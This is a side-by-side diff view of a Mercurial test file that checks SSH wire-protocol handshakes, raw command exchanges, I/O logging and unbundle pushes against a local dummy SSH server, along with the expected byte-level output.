1922 | $ hg init uiwriterepo | |
1951 | $ cd uiwriterepo |
|
1923 | $ cd uiwriterepo | |
1952 | $ cat > .hg/hgrc << EOF |
|
1924 | $ cat > .hg/hgrc << EOF | |
1953 | > [hooks] |
|
1925 | > [hooks] | |
1954 | > pretxnchangegroup.hook = python:$TESTTMP/hook:hookuiwrite |
|
1926 | > pretxnchangegroup.hook = python:$TESTTMP/hook:hookuiwrite | |
1955 | > EOF |
|
1927 | > EOF | |
1956 |
|
1928 | |||
1957 | $ debugwireproto 1 << EOF |
|
1929 | $ debugwireproto 1 << EOF | |
1958 | > command unbundle |
|
1930 | > command unbundle | |
1959 | > # This is "force" in hex. |
|
1931 | > # This is "force" in hex. | |
1960 | > heads 666f726365 |
|
1932 | > heads 666f726365 | |
1961 | > PUSHFILE ../initial.v1.hg |
|
1933 | > PUSHFILE ../initial.v1.hg | |
1962 | > readavailable |
|
1934 | > readavailable | |
1963 | > EOF |
|
1935 | > EOF | |
1964 | testing ssh1 |
|
1936 | testing ssh1 | |
1965 | creating ssh peer from handshake results |
|
1937 | creating ssh peer from handshake results | |
1966 | i> write(104) -> 104: |
|
1938 | i> write(104) -> 104: | |
1967 | i> hello\n |
|
1939 | i> hello\n | |
1968 | i> between\n |
|
1940 | i> between\n | |
1969 | i> pairs 81\n |
|
1941 | i> pairs 81\n | |
1970 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1942 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1971 | i> flush() -> None |
|
1943 | i> flush() -> None | |
1972 | o> readline() -> 4: |
|
1944 | o> readline() -> 4: | |
1973 | o> 413\n |
|
1945 | o> 413\n | |
1974 | o> readline() -> 413: |
|
1946 | o> readline() -> 413: | |
1975 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1947 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1976 | o> readline() -> 2: |
|
1948 | o> readline() -> 2: | |
1977 | o> 1\n |
|
1949 | o> 1\n | |
1978 | o> readline() -> 1: |
|
1950 | o> readline() -> 1: | |
1979 | o> \n |
|
1951 | o> \n | |
1980 | sending unbundle command |
|
1952 | sending unbundle command | |
1981 | i> write(9) -> 9: |
|
1953 | i> write(9) -> 9: | |
1982 | i> unbundle\n |
|
1954 | i> unbundle\n | |
1983 | i> write(9) -> 9: |
|
1955 | i> write(9) -> 9: | |
1984 | i> heads 10\n |
|
1956 | i> heads 10\n | |
1985 | i> write(10) -> 10: 666f726365 |
|
1957 | i> write(10) -> 10: 666f726365 | |
1986 | i> flush() -> None |
|
1958 | i> flush() -> None | |
1987 | o> readline() -> 2: |
|
1959 | o> readline() -> 2: | |
1988 | o> 0\n |
|
1960 | o> 0\n | |
1989 | i> write(4) -> 4: |
|
1961 | i> write(4) -> 4: | |
1990 | i> 426\n |
|
1962 | i> 426\n | |
1991 | i> write(426) -> 426: |
|
1963 | i> write(426) -> 426: | |
1992 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1964 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1993 | i> test\n |
|
1965 | i> test\n | |
1994 | i> 0 0\n |
|
1966 | i> 0 0\n | |
1995 | i> foo\n |
|
1967 | i> foo\n | |
1996 | i> \n |
|
1968 | i> \n | |
1997 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1969 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1998 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1970 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1999 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1971 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
2000 | i> write(2) -> 2: |
|
1972 | i> write(2) -> 2: | |
2001 | i> 0\n |
|
1973 | i> 0\n | |
2002 | i> flush() -> None |
|
1974 | i> flush() -> None | |
2003 | o> readline() -> 2: |
|
1975 | o> readline() -> 2: | |
2004 | o> 0\n |
|
1976 | o> 0\n | |
2005 | o> readline() -> 2: |
|
1977 | o> readline() -> 2: | |
2006 | o> 1\n |
|
1978 | o> 1\n | |
2007 | o> read(1) -> 1: 1 |
|
1979 | o> read(1) -> 1: 1 | |
2008 | result: 1 |
|
1980 | result: 1 | |
2009 | remote output: |
|
1981 | remote output: | |
2010 | o> read(-1) -> 0: |
|
|||
2011 | e> read(-1) -> 152: |
|
1982 | e> read(-1) -> 152: | |
2012 | e> adding changesets\n |
|
1983 | e> adding changesets\n | |
2013 | e> adding manifests\n |
|
1984 | e> adding manifests\n | |
2014 | e> adding file changes\n |
|
1985 | e> adding file changes\n | |
2015 | e> added 1 changesets with 1 changes to 1 files\n |
|
1986 | e> added 1 changesets with 1 changes to 1 files\n | |
2016 | e> ui.write 1\n |
|
1987 | e> ui.write 1\n | |
2017 | e> ui.write_err 1\n |
|
1988 | e> ui.write_err 1\n | |
2018 | e> ui.write 2\n |
|
1989 | e> ui.write 2\n | |
2019 | e> ui.write_err 2\n |
|
1990 | e> ui.write_err 2\n | |
2020 |
|
1991 | |||
2021 | testing ssh2 |
|
1992 | testing ssh2 | |
2022 | creating ssh peer from handshake results |
|
1993 | creating ssh peer from handshake results | |
2023 | i> write(171) -> 171: |
|
1994 | i> write(171) -> 171: | |
2024 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1995 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
2025 | i> hello\n |
|
1996 | i> hello\n | |
2026 | i> between\n |
|
1997 | i> between\n | |
2027 | i> pairs 81\n |
|
1998 | i> pairs 81\n | |
2028 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1999 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
2029 | i> flush() -> None |
|
2000 | i> flush() -> None | |
2030 | o> readline() -> 62: |
|
2001 | o> readline() -> 62: | |
2031 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
2002 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
2032 | o> readline() -> 4: |
|
2003 | o> readline() -> 4: | |
2033 | o> 412\n |
|
2004 | o> 412\n | |
2034 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
2005 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
2035 | o> read(1) -> 1: |
|
2006 | o> read(1) -> 1: | |
2036 | o> \n |
|
2007 | o> \n | |
2037 | sending unbundle command |
|
2008 | sending unbundle command | |
2038 | i> write(9) -> 9: |
|
2009 | i> write(9) -> 9: | |
2039 | i> unbundle\n |
|
2010 | i> unbundle\n | |
2040 | i> write(9) -> 9: |
|
2011 | i> write(9) -> 9: | |
2041 | i> heads 10\n |
|
2012 | i> heads 10\n | |
2042 | i> write(10) -> 10: 666f726365 |
|
2013 | i> write(10) -> 10: 666f726365 | |
2043 | i> flush() -> None |
|
2014 | i> flush() -> None | |
2044 | o> readline() -> 2: |
|
2015 | o> readline() -> 2: | |
2045 | o> 0\n |
|
2016 | o> 0\n | |
2046 | i> write(4) -> 4: |
|
2017 | i> write(4) -> 4: | |
2047 | i> 426\n |
|
2018 | i> 426\n | |
2048 | i> write(426) -> 426: |
|
2019 | i> write(426) -> 426: | |
2049 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
2020 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
2050 | i> test\n |
|
2021 | i> test\n | |
2051 | i> 0 0\n |
|
2022 | i> 0 0\n | |
2052 | i> foo\n |
|
2023 | i> foo\n | |
2053 | i> \n |
|
2024 | i> \n | |
2054 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
2025 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
2055 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
2026 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
2056 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
2027 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
2057 | i> write(2) -> 2: |
|
2028 | i> write(2) -> 2: | |
2058 | i> 0\n |
|
2029 | i> 0\n | |
2059 | i> flush() -> None |
|
2030 | i> flush() -> None | |
2060 | o> readline() -> 2: |
|
2031 | o> readline() -> 2: | |
2061 | o> 0\n |
|
2032 | o> 0\n | |
2062 | o> readline() -> 2: |
|
2033 | o> readline() -> 2: | |
2063 | o> 1\n |
|
2034 | o> 1\n | |
2064 | o> read(1) -> 1: 1 |
|
2035 | o> read(1) -> 1: 1 | |
2065 | result: 1 |
|
2036 | result: 1 | |
2066 | remote output: |
|
2037 | remote output: | |
2067 | o> read(-1) -> 0: |
|
|||
2068 | e> read(-1) -> 152: |
|
2038 | e> read(-1) -> 152: | |
2069 | e> adding changesets\n |
|
2039 | e> adding changesets\n | |
2070 | e> adding manifests\n |
|
2040 | e> adding manifests\n | |
2071 | e> adding file changes\n |
|
2041 | e> adding file changes\n | |
2072 | e> added 1 changesets with 1 changes to 1 files\n |
|
2042 | e> added 1 changesets with 1 changes to 1 files\n | |
2073 | e> ui.write 1\n |
|
2043 | e> ui.write 1\n | |
2074 | e> ui.write_err 1\n |
|
2044 | e> ui.write_err 1\n | |
2075 | e> ui.write 2\n |
|
2045 | e> ui.write 2\n | |
2076 | e> ui.write_err 2\n |
|
2046 | e> ui.write_err 2\n |
@@ -1,2161 +1,2157 b'' | |||||
1 | #require no-chg |
|
1 | #require no-chg | |
2 |
|
2 | |||
3 | $ cat > hgrc-sshv2 << EOF |
|
3 | $ cat > hgrc-sshv2 << EOF | |
4 | > %include $HGRCPATH |
|
4 | > %include $HGRCPATH | |
5 | > [experimental] |
|
5 | > [experimental] | |
6 | > sshpeer.advertise-v2 = true |
|
6 | > sshpeer.advertise-v2 = true | |
7 | > sshserver.support-v2 = true |
|
7 | > sshserver.support-v2 = true | |
8 | > EOF |
|
8 | > EOF | |
9 |
|
9 | |||
10 | Helper function to run protocol tests against multiple protocol versions. |
|
10 | Helper function to run protocol tests against multiple protocol versions. | |
11 | This is easier than using #testcases because managing differences between |
|
11 | This is easier than using #testcases because managing differences between | |
12 | protocols with inline conditional output is hard to read. |
|
12 | protocols with inline conditional output is hard to read. | |
13 |
|
13 | |||
14 | $ debugwireproto() { |
|
14 | $ debugwireproto() { | |
15 | > commands=`cat -` |
|
15 | > commands=`cat -` | |
16 | > echo 'testing ssh1' |
|
16 | > echo 'testing ssh1' | |
17 | > echo "${commands}" | hg --verbose debugwireproto --localssh |
|
17 | > echo "${commands}" | hg --verbose debugwireproto --localssh | |
18 | > echo "" |
|
18 | > echo "" | |
19 | > echo 'testing ssh2' |
|
19 | > echo 'testing ssh2' | |
20 | > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh |
|
20 | > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh | |
21 | > } |
|
21 | > } | |
22 |
|
22 | |||
23 | $ cat >> $HGRCPATH << EOF |
|
23 | $ cat >> $HGRCPATH << EOF | |
24 | > [ui] |
|
24 | > [ui] | |
25 | > ssh = $PYTHON "$TESTDIR/dummyssh" |
|
25 | > ssh = $PYTHON "$TESTDIR/dummyssh" | |
26 | > [devel] |
|
26 | > [devel] | |
27 | > debug.peer-request = true |
|
27 | > debug.peer-request = true | |
28 | > [extensions] |
|
28 | > [extensions] | |
29 | > sshprotoext = $TESTDIR/sshprotoext.py |
|
29 | > sshprotoext = $TESTDIR/sshprotoext.py | |
30 | > EOF |
|
30 | > EOF | |
31 |
|
31 | |||
32 | $ hg init server |
|
32 | $ hg init server | |
33 | $ cd server |
|
33 | $ cd server | |
34 | $ echo 0 > foo |
|
34 | $ echo 0 > foo | |
35 | $ hg -q add foo |
|
35 | $ hg -q add foo | |
36 | $ hg commit -m initial |
|
36 | $ hg commit -m initial | |
37 |
|
37 | |||
38 | A no-op connection performs a handshake |
|
38 | A no-op connection performs a handshake | |
39 |
|
39 | |||
40 | $ hg debugwireproto --localssh << EOF |
|
40 | $ hg debugwireproto --localssh << EOF | |
41 | > EOF |
|
41 | > EOF | |
42 | creating ssh peer from handshake results |
|
42 | creating ssh peer from handshake results | |
43 |
|
43 | |||
44 | Raw peers don't perform any activity |
|
44 | Raw peers don't perform any activity | |
45 |
|
45 | |||
46 | $ hg debugwireproto --localssh --peer raw << EOF |
|
46 | $ hg debugwireproto --localssh --peer raw << EOF | |
47 | > EOF |
|
47 | > EOF | |
48 | using raw connection to peer |
|
48 | using raw connection to peer | |
49 | $ hg debugwireproto --localssh --peer ssh1 << EOF |
|
49 | $ hg debugwireproto --localssh --peer ssh1 << EOF | |
50 | > EOF |
|
50 | > EOF | |
51 | creating ssh peer for wire protocol version 1 |
|
51 | creating ssh peer for wire protocol version 1 | |
52 | $ hg debugwireproto --localssh --peer ssh2 << EOF |
|
52 | $ hg debugwireproto --localssh --peer ssh2 << EOF | |
53 | > EOF |
|
53 | > EOF | |
54 | creating ssh peer for wire protocol version 2 |
|
54 | creating ssh peer for wire protocol version 2 | |
55 |
|
55 | |||
56 | Test a normal behaving server, for sanity |
|
56 | Test a normal behaving server, for sanity | |
57 |
|
57 | |||
58 | $ cd .. |
|
58 | $ cd .. | |
59 |
|
59 | |||
60 | $ hg --debug debugpeer ssh://user@dummy/server |
|
60 | $ hg --debug debugpeer ssh://user@dummy/server | |
61 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) |
|
61 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) | |
62 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) |
|
62 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) | |
63 | devel-peer-request: hello+between |
|
63 | devel-peer-request: hello+between | |
64 | devel-peer-request: pairs: 81 bytes |
|
64 | devel-peer-request: pairs: 81 bytes | |
65 | sending hello command |
|
65 | sending hello command | |
66 | sending between command |
|
66 | sending between command | |
67 | remote: 413 |
|
67 | remote: 413 | |
68 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
68 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
69 | remote: 1 |
|
69 | remote: 1 | |
70 | devel-peer-request: protocaps |
|
70 | devel-peer-request: protocaps | |
71 | devel-peer-request: caps: * bytes (glob) |
|
71 | devel-peer-request: caps: * bytes (glob) | |
72 | sending protocaps command |
|
72 | sending protocaps command | |
73 | url: ssh://user@dummy/server |
|
73 | url: ssh://user@dummy/server | |
74 | local: no |
|
74 | local: no | |
75 | pushable: yes |
|
75 | pushable: yes | |
76 |
|
76 | |||
77 | Server should answer the "hello" command in isolation |
|
77 | Server should answer the "hello" command in isolation | |
78 |
|
78 | |||
79 | $ hg -R server debugwireproto --localssh --peer raw << EOF |
|
79 | $ hg -R server debugwireproto --localssh --peer raw << EOF | |
80 | > raw |
|
80 | > raw | |
81 | > hello\n |
|
81 | > hello\n | |
82 | > readline |
|
82 | > readline | |
83 | > readline |
|
83 | > readline | |
84 | > EOF |
|
84 | > EOF | |
85 | using raw connection to peer |
|
85 | using raw connection to peer | |
86 | i> write(6) -> 6: |
|
86 | i> write(6) -> 6: | |
87 | i> hello\n |
|
87 | i> hello\n | |
88 | o> readline() -> 4: |
|
88 | o> readline() -> 4: | |
89 | o> 413\n |
|
89 | o> 413\n | |
90 | o> readline() -> 413: |
|
90 | o> readline() -> 413: | |
91 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
91 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
92 |
|
92 | |||
93 | `hg debugserve --sshstdio` works |
|
93 | `hg debugserve --sshstdio` works | |
94 |
|
94 | |||
95 | $ cd server |
|
95 | $ cd server | |
96 | $ hg debugserve --sshstdio << EOF |
|
96 | $ hg debugserve --sshstdio << EOF | |
97 | > hello |
|
97 | > hello | |
98 | > EOF |
|
98 | > EOF | |
99 | 413 |
|
99 | 413 | |
100 | capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
100 | capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
101 |
|
101 | |||
102 | I/O logging works |
|
102 | I/O logging works | |
103 |
|
103 | |||
104 | $ hg debugserve --sshstdio --logiofd 1 << EOF |
|
104 | $ hg debugserve --sshstdio --logiofd 1 << EOF | |
105 | > hello |
|
105 | > hello | |
106 | > EOF |
|
106 | > EOF | |
107 | o> write(4) -> 4: |
|
107 | o> write(4) -> 4: | |
108 | o> 413\n |
|
108 | o> 413\n | |
109 | o> write(413) -> 413: |
|
109 | o> write(413) -> 413: | |
110 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
110 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
111 | 413 |
|
111 | 413 | |
112 | capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
112 | capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
113 | o> flush() -> None |
|
113 | o> flush() -> None | |
114 |
|
114 | |||
115 | $ hg debugserve --sshstdio --logiofile $TESTTMP/io << EOF |
|
115 | $ hg debugserve --sshstdio --logiofile $TESTTMP/io << EOF | |
116 | > hello |
|
116 | > hello | |
117 | > EOF |
|
117 | > EOF | |
118 | 413 |
|
118 | 413 | |
119 | capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
119 | capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
120 |
|
120 | |||
121 | $ cat $TESTTMP/io |
|
121 | $ cat $TESTTMP/io | |
122 | o> write(4) -> 4: |
|
122 | o> write(4) -> 4: | |
123 | o> 413\n |
|
123 | o> 413\n | |
124 | o> write(413) -> 413: |
|
124 | o> write(413) -> 413: | |
125 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
125 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
126 | o> flush() -> None |
|
126 | o> flush() -> None | |
127 |
|
127 | |||
128 | $ cd .. |
|
128 | $ cd .. | |
129 |
|
129 | |||
130 | >=0.9.1 clients send a "hello" + "between" for the null range as part of handshake. |
|
130 | >=0.9.1 clients send a "hello" + "between" for the null range as part of handshake. | |
131 | Server should reply with capabilities and should send "1\n\n" as a successful |
|
131 | Server should reply with capabilities and should send "1\n\n" as a successful | |
132 | reply with empty response to the "between". |
|
132 | reply with empty response to the "between". | |
133 |
|
133 | |||
134 | $ hg -R server debugwireproto --localssh --peer raw << EOF |
|
134 | $ hg -R server debugwireproto --localssh --peer raw << EOF | |
135 | > raw |
|
135 | > raw | |
136 | > hello\n |
|
136 | > hello\n | |
137 | > readline |
|
137 | > readline | |
138 | > readline |
|
138 | > readline | |
139 | > raw |
|
139 | > raw | |
140 | > between\n |
|
140 | > between\n | |
141 | > pairs 81\n |
|
141 | > pairs 81\n | |
142 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
142 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
143 | > readline |
|
143 | > readline | |
144 | > readline |
|
144 | > readline | |
145 | > EOF |
|
145 | > EOF | |
146 | using raw connection to peer |
|
146 | using raw connection to peer | |
147 | i> write(6) -> 6: |
|
147 | i> write(6) -> 6: | |
148 | i> hello\n |
|
148 | i> hello\n | |
149 | o> readline() -> 4: |
|
149 | o> readline() -> 4: | |
150 | o> 413\n |
|
150 | o> 413\n | |
151 | o> readline() -> 413: |
|
151 | o> readline() -> 413: | |
152 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
152 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
153 | i> write(98) -> 98: |
|
153 | i> write(98) -> 98: | |
154 | i> between\n |
|
154 | i> between\n | |
155 | i> pairs 81\n |
|
155 | i> pairs 81\n | |
156 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
156 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
157 | o> readline() -> 2: |
|
